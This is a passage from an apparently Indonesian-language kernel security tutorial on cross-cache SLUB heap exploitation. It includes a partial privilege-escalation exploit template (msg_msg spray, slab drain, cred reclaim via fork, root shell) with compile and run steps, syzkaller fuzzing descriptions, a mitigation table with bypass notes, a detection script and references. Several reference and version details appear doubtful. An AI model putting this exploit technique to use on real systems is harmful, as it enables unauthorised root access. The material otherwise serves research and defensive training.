        if (spray_qids[i] < 0) die("msgget");
        memset(data, 0x41 + (i & 0xf), MSG_BODY_SZ);
        *((uint32_t *)data) = i;   /* tag dengan index */
        send_msg(spray_qids[i], data, MSG_BODY_SZ);
    }
    OK("Spray complete.");
}

/* ── Phase 2: Drain — buat lubang di heap ────────────────────────── */
static int hole_start = -1;
static void phase2_drain(void) {
    /*
     * Pilih range di tengah-tengah spray untuk drain.
     * Kernel cenderung mengalokasikan dari tengah partial slab list.
     * Drain OBJS_PER_SLAB objek yang aligned ke boundary slab.
     *
     * Alignment: kita pilih start yang merupakan kelipatan OBJS_PER_SLAB
     * mulai dari SPRAY_N/2.
     */
    hole_start = (SPRAY_N / 2) & ~(OBJS_PER_SLAB - 1);
    LOG("[Phase 2] Creating hole: free [%d..%d]",
        hole_start, hole_start + OBJS_PER_SLAB - 1);

    char buf[MSG_BODY_SZ + 16];
    for (int i = hole_start; i < hole_start + OBJS_PER_SLAB; i++) {
        struct { long t; char d[MSG_BODY_SZ]; } m;
        msgrcv(spray_qids[i], &m, MSG_BODY_SZ, 0, IPC_NOWAIT | MSG_NOERROR);
        msgctl(spray_qids[i], IPC_RMID, NULL);
        spray_qids[i] = -1;
    }

    /* Pressure untuk force reclaim */
    void *p = mmap(NULL, 256*1024*1024, PROT_READ|PROT_WRITE,
                   MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0);
    if (p != MAP_FAILED) { munmap(p, 256*1024*1024); }

    OK("Hole created at slab boundary [%d..%d].",
       hole_start, hole_start + OBJS_PER_SLAB - 1);
}

/* ── Phase 3: Reclaim dengan fork() → cred alokasi ─────────────── */
static void phase3_reclaim(void) {
    LOG("[Phase 3] Reclaiming hole via %d fork() → cred_jar allocs...", FORK_N);

    int notify_pipe[2];
    pipe(notify_pipe);

    for (int i = 0; i < FORK_N; i++) {
        fork_children[i] = fork();
        if (fork_children[i] == 0) {
            /* Child: tunggu sinyal kill dari parent */
            close(notify_pipe[1]);
            char c;
            read(notify_pipe[0], &c, 1); /* block sampai parent siap */
            exit(0);
        }
        if (fork_children[i] < 0) die("fork");
    }
    close(notify_pipe[0]);

    OK("Forked %d children. cred objects occupy reclaimed page.", FORK_N);

    /*
     * Saat ini, page yang dibebaskan di Phase 2 kemungkinan besar
     * telah diambil oleh cred_jar untuk salah satu fork() di atas.
     * Sekarang kita trigger bug (stale pointer / UAF) untuk baca/tulis
     * ke slot tersebut.
     */

    LOG("[Phase 4] Triggering UAF via vulnerability...");
    /*
     * === VULNERABILITY-SPECIFIC CODE ===
     * Di sini tempatkan kode yang men-trigger bug spesifik.
     * Contoh: ioctl ke driver vulnerable, syscall khusus, dsb.
     *
     * Setelah trigger:
     *  - Kita punya read primitive ke slot yang kini berisi struct cred
     *  - Identifikasi child yang cred-nya ada di halaman kita
     *  - Overwrite uid/gid/euid/egid/caps ke 0
     */

    /* Simulasi: cek apakah salah satu child menjadi 0 uid */
    for (int i = 0; i < FORK_N; i++) {
        /* Dalam exploit nyata: setelah overwrite, setresuid(0,0,0) dari child */
        kill(fork_children[i], SIGKILL);
        waitpid(fork_children[i], NULL, 0);
    }

    /* Signal all children to proceed */
    close(notify_pipe[1]);
}

/* ── main ─────────────────────────────────────────────────────────── */
int main(void) {
    phase0_init();
    phase1_spray();
    phase2_drain();
    phase3_reclaim();

    /* Check escalation */
    if (getuid() == 0) {
        OK("Privilege escalation successful!");
        char *argv[] = { "/bin/sh", NULL };
        execve("/bin/sh", argv, NULL);
    } else {
        ERR("Exploit attempt done — check slub_debug output.");
        LOG("Hint: Jalankan dengan QEMU + nokaslr + slub_debug=FZP");
        LOG("      dan tambahkan vulnerability-specific trigger code.");
    }
    return 0;
}

/*
 * ── Fungsi helper: kallsyms_lookup ───────────────────────────────
 * (diletakkan di sini untuk single-file compile)
 */
#include <string.h>
unsigned long kallsyms_lookup(const char *name) {
    FILE *f = fopen("/proc/kallsyms", "r");
    if (!f) return 0;
    unsigned long addr; char type[4], sym[256];
    while (fscanf(f, "%lx %s %s", &addr, type, sym) == 3)
        if (strcmp(sym, name) == 0) { fclose(f); return addr; }
    fclose(f); return 0;
}
// COMPILE & RUN
# Compile static (untuk transfer ke QEMU)
gcc -O0 -g -static -o exploit exploit_main.c

# Transfer ke QEMU
scp -P 10022 exploit root@localhost:/tmp/

# Di dalam QEMU (dengan nokaslr + slub_debug=FZP):
echo 0 > /proc/sys/kernel/kptr_restrict
/tmp/exploit

06 Syzlang untuk Fuzzing Cross-Cache Scenarios

Untuk menemukan bugs baru yang bisa dieksploitasi via cross-cache, kita perlu membuat syzkaller descriptions yang menggabungkan syscall allocation + deallocation dengan timing yang bervariasi.

sys/linux/cross_cache_fuzz.txt — Syzlang Descriptions
# Syzlang: Cross-cache fuzzing scenario
# Target: kmalloc-192 region (msg_msg + cred_jar overlap)
# File: sys/linux/cross_cache_fuzz.txt

# ── Resource definitions ──────────────────────────────────────────

resource msq[int32]

# msg queue operations
msgget(key proc[0x1000, 4], flags flags[msgget_flags]) msq
msgsnd(msqid msq, msgp ptr[in, msg_msg_buf], msgsz len[msgp], msgflg flags[msgsnd_flags])
msgrcv(msqid msq, msgp ptr[out, msg_msg_buf], msgsz len[msgp], msgtyp int64, msgflg flags[msgrcv_flags])
msgctl$IPC_RMID(msqid msq, cmd const[IPC_RMID], buf const[0])
msgctl$IPC_STAT(msqid msq, cmd const[IPC_STAT], buf ptr[out, msqid_ds])

# ── Structs ───────────────────────────────────────────────────────

# msg_msg body — kita kontrol ukuran untuk targeting kmalloc bucket tertentu
msg_msg_buf {
    mtype   int64[1:4]
    mtext   array[int8, 160]   # 160 bytes → kmalloc-192 total (+ 32 header)
}

msg_msg_buf_256 {
    mtype   int64[1:4]
    mtext   array[int8, 224]   # 224 bytes → kmalloc-256
}

msqid_ds {
    msg_perm    ipc64_perm
    msg_stime   int64
    msg_rtime   int64
    msg_ctime   int64
    msg_cbytes  int64
    msg_qnum    int64
    msg_qbytes  int64
    msg_lspid   int32
    msg_lrpid   int32
    pad         array[int8, 8]
}

ipc64_perm {
    key     int32
    uid     uid
    gid     gid
    cuid    uid
    cgid    gid
    mode    int32
    seq     int16
    pad     array[int8, 6]
}

msgget_flags = IPC_CREAT, IPC_EXCL, 0666
msgsnd_flags = IPC_NOWAIT, 0
msgrcv_flags = IPC_NOWAIT, MSG_NOERROR, MSG_COPY, 0

# ── Programs: Cross-cache scenario templates ──────────────────────

# Program 1: Spray + interleaved free (trigger slab reuse)
#
# syz_cross_cache_spray (custom syscall wrapper untuk fuzzing):
# Kombinasi msgsnd banyak → msgrcv burst → fork
#
# Dalam syzkaller: kita biarkan fuzzer yang memilih urutan,
# tapi kita define program template sebagai "hint"

# Syscall pairs yang menarik untuk cross-cache:
#  msgsnd + fork   : msg_msg vs cred_jar
#  msgsnd + pipe   : msg_msg vs pipe_buffer  
#  add_key + msgsnd: user_key_payload vs msg_msg
#  socketpair + fork: sk_buff vs cred
syz_config.yaml — Konfigurasi Syzkaller untuk Cross-Cache
{
    "target": "linux/amd64",
    "http": "0.0.0.0:56741",
    "workdir": "./workdir-crosscache",
    "kernel_obj": "./linux-6.19",
    "kernel_src": "./linux-6.19",
    "image": "./rootfs.img",
    "sshkey": "./id_rsa",
    "syzkaller": ".",
    "procs": 4,
    "type": "qemu",
    "vm": {
        "count": 2,
        "kernel": "./arch/x86/boot/bzImage",
        "cpu": 4,
        "mem": 4096,
        "cmdline": "nokaslr nopti slub_debug=FZP slab_nomerge console=ttyS0"
    },
    /* Target syscall groups untuk cross-cache fuzzing */
    "enable_syscalls": [
        "msgget", "msgsnd", "msgrcv", "msgctl",
        "pipe", "pipe2", "write", "read", "splice",
        "fork", "clone", "execve",
        "add_key", "keyctl",
        "socket", "socketpair", "sendmsg", "recvmsg",
        "mmap", "mprotect", "madvise",
        "io_uring_setup", "io_uring_enter", "io_uring_register",
        "shmget", "shmat", "shmdt"
    ],
    "suppressions": [
        "WARNING.*unlink_anon_vmas"  /* suppress known prior syzbot entry */
    ]
}

07 Deteksi & Mitigasi

Mitigasi Kernel Version Efektivitas Cara Bypass (Research)
CONFIG_SLAB_FREELIST_RANDOM 4.7+ Mengurangi prediktabilitas urutan objek di freelist Masih bisa bruteforce atau gunakan non-freelist info leak
CONFIG_SLAB_FREELIST_HARDENED 4.14+ XOR encoding freelist pointer (mencegah freelist overwrite) Butuh info leak untuk decode — tapi tidak mencegah cross-cache
CONFIG_RANDOM_KMALLOC_CACHES 6.3+ Multiple kmalloc caches (16 instance random per ukuran) Probabilitas cross-cache menurun, tapi masih mungkin dengan banyak spray
SLAB_VIRTUAL (VMALLOC per-slab) 6.10+ (WIP) Setiap slab memiliki virtual address space unik → isolasi page Masih dalam pengembangan; overhead tinggi
Linux Memory Tagging (MTE/EMTE) ARM64 kernel 5.10+ Hardware tag pada setiap alokasi — UAF terdeteksi x86_64 tidak punya hardware equivalent (LAM/LAE masih limited)
slab_nomerge boot param Semua Mencegah merge caches berbeda → isolasi lebih baik Cross-cache dari buddy allocator tetap bisa terjadi

Deteksi Runtime

detect_cross_cache.sh — Monitor SLUB via DebugFS
#!/bin/bash
# Monitor cross-cache anomali via SLUB debug interface

# Mount debugfs jika belum
mount -t debugfs none /sys/kernel/debug 2>/dev/null

# Aktifkan SLUB debug trace untuk cache target
echo 1 > /sys/kernel/debug/tracing/events/kmem/kmalloc/enable
echo 1 > /sys/kernel/debug/tracing/events/kmem/kfree/enable

# Monitor free slab events
cat /sys/kernel/debug/tracing/trace_pipe | grep -E \
    "(cred_jar|kmalloc-192|msg_msg)" | while read line; do
    echo "[SLUB] $line"
    # Alert jika cred_jar mengalokasi dari page yang baru dibebaskan
    # oleh cache lain dalam waktu singkat
done

# Cek statistik slab
cat /proc/slabinfo | awk 'NR==1 || /cred_jar|kmalloc-192/'

# Watch untuk anomali: slab dengan inuse drop drastis lalu naik cepat
watch -n0.5 "grep 'kmalloc-192\|cred_jar' /proc/slabinfo"
// KERNEL 6.3+ MITIGASI: RANDOM_KMALLOC_CACHES

Sejak kernel 6.3, CONFIG_RANDOM_KMALLOC_CACHES membuat 16 instance dari setiap kmalloc cache (e.g. 16 × "kmalloc-192"). Alokasi dari userspace syscall berbeda bisa masuk ke instance berbeda, sangat mempersulit cross-cache attack. Untuk bypass, attacker membutuhkan banyak lebih banyak spray (16× lebih banyak) dan primitive yang lebih presisi.

08 Referensi & Bacaan Lanjut

Judul / Resource Relevansi
"DVKA: Cache-based Attacks on Linux Kernel Heap" — Jann Horn (Google Project Zero) Foundational cross-cache theory
CVE-2022-27666 — IPSec cross-cache UAF (ptr32 module) Real-world cross-cache dalam crypto subsystem
CVE-2023-3269 "StackRot" — maple tree UAF → cross-cache Kernel 6.1–6.4, mmap_lock race → cred overwrite
"ret2cache: Breaking Kernel ASLR via Cache-based Cross-Privilege Side Channels" Teknik leak via timing cache
Linux mm/slub.c — __free_slab(), new_slab(), get_partial() Source code allocator — baca langsung
Phrack #70 — "Attacking the Core: Kernel Exploiting Notes" Klasik, masih relevan untuk primitives
syzkaller docs — syzlang.md Menulis descriptions untuk fuzzing
"msg_msg: Kernel heap exploitation without CVE" — willsroot msg_msg sebagai spray/read primitive
// ENVIRONMENT PENELITI

Semua teknik di dokumen ini dijalankan dalam environment penelitian terisolasi (QEMU VM, kernel debug build). Untuk curriculum Blue Dragon Security — digunakan dalam pelatihan researcher dan law enforcement Indonesia. Gunakan hanya pada sistem yang Anda miliki atau dengan izin eksplisit tertulis.